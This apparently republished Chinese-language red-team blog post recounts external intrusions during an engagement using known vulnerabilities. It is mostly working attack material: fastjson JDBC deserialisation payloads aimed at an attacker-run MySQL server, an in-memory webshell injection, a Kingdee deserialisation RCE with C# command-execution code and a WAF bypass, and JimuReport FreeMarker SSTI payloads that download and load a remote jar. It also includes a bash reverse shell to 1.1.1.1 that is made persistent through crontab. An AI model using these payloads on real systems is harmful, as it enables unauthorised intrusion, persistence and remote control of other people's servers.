前言:
很久没写文章了,最近刚结束一场攻防,也都是靠nday打下了不少点,简单写一下外网的几个案例
被动扫描工具:
这里先推荐一下自己常用的几个burp插件:
HAE:能够通过正则匹配到数据包中敏感的信息,例如账号密码,ak,sk等
passive scan client:被动扫描流量转发插件
log4j2,fastjson,shiro这几个必备的扫描插件,能够被动扫描这几种漏洞
RouteVulScan:比较好用的一款递归脆弱路径扫描插件,实战中扫一些敏感路劲以及未授权很好使
这里先启动xray被动监听:
passive scan client插件配置好扫描得端口
xray.exe webscan --listen 127.0.0.1:1664 --ho vuln.html
浏览器配置burp得代理端口,这样用浏览器访问网站,流量就会同时经过xray和burp,逐个功能点点击就能等着收洞了
这里还可以利用浏览器拓展程序Opens a list of URLs,该拓展程序可同时打开多个网站
这样可以提高扫描速率
漏洞案例:
fastjson中JDBC反序列化:
通过burp插件扫到某个站存在fatjson反序列化,payload为:
{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"dnslog","portToConnectTo":80,"info":{"user":"root","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
如果不太会打的话,可以参考我之前写的文章,
vps启动一个恶意得mysql服务:
./evil-mysql-server -addr 3307 -java java -ysuserial ysuserial-1.5-su18-all.jar
fuzz利用链:
将hostToConnectTo地址替换成vps地址:vps:3307
将user替换成fuzz利用链得payload:ysu_URLDNS_all:i.dnslog.cn
{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_URLDNS_all:ibxz5y.dnslog.cn","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
可以看到dnslog有回显,根据ysu得github可知:有如下链子可以打
构造poc执行命令:这里利用EX-TomcatEcho执行命令
在请求头添加X-Token-Data:ifconfig即可执行命令:
{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_CommonsBeanutils2_
EX-TomcatEcho","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
注入冰蝎内存马:
使用EX-MS-TSMSFromThread-bx注入冰蝎内存马:
{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToCo
nnectTo":"vps:3307","portToConnectTo":80,"info":{"user":"ysu_CommonsBeanutils2_
EX-MS-TSMSFromThread-bx","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.
interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mys
ql","url":""}}
冰蝎连接:
金蝶反序列化rce waf绕过:
某站金蝶/k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc接口存在反序列化,执行命令时被拦截
经测试可知,拦截了请求头得命令执行以及传入的反序列化数据
绕过方法:
工具:https://github.com/pwntester/ysoserial.net
比如我想执行ipconfig:
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c ipconfig";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
生成payload
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"
对生成得数据做处理:
对AAEAAAD/////AQAAAAAAAAA之间逐个加空格即可绕过
jeecgboot 模板注入:
积木报表模板注入漏洞实战中是非常常见的,
积木报表jmreport/queryFieldBySql接口存在SSTI模板注入漏洞,该漏洞可获取系统权限
打开网站长这个样子,该网站大概率是采用该框架的
通过本次演练,总结了两个打这种网站的方法:
第一种就是直接写入内存马:
这里就简单讲一下出网打内存马把:
利用java内存马工具生成一个tomcat filter型的jar包:
使用第一个exp将jar包下载到服务器:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("wget http://1.1.1.1:8000/final.jar")}
在使用第二个exp加载该jar包即可:
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('file://final.jar')}, T(java.lang.Thread).currentThread().getContextClassLoader()).loadClass('org.apache.http.client.yf.NetworkUtils').newInstance()").getValue()}
这里将loadClass替换成注入器类名即可,这里我的注入器类名为org.apache.http.client.yf.NetworkUtils
也有遇到过内存马打不了的情况,这时可以采用定时任务反弹shell的方法
因为你如果直接反弹shell,会不稳定,执行命令容易掉线:
echo "bash -i >& /dev/tcp/1.1.1.1/1111 0>&1" > /tmp/1.sh
(crontab -l;printf "*/5 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -
注意这里的两条命令要用base64编码去执行:
类似这种
利用该命令发过去即可得到一个稳定shell
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("base64编码命令")}
原文始发于微信公众号(安全小子大杂烩):某地级攻防总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论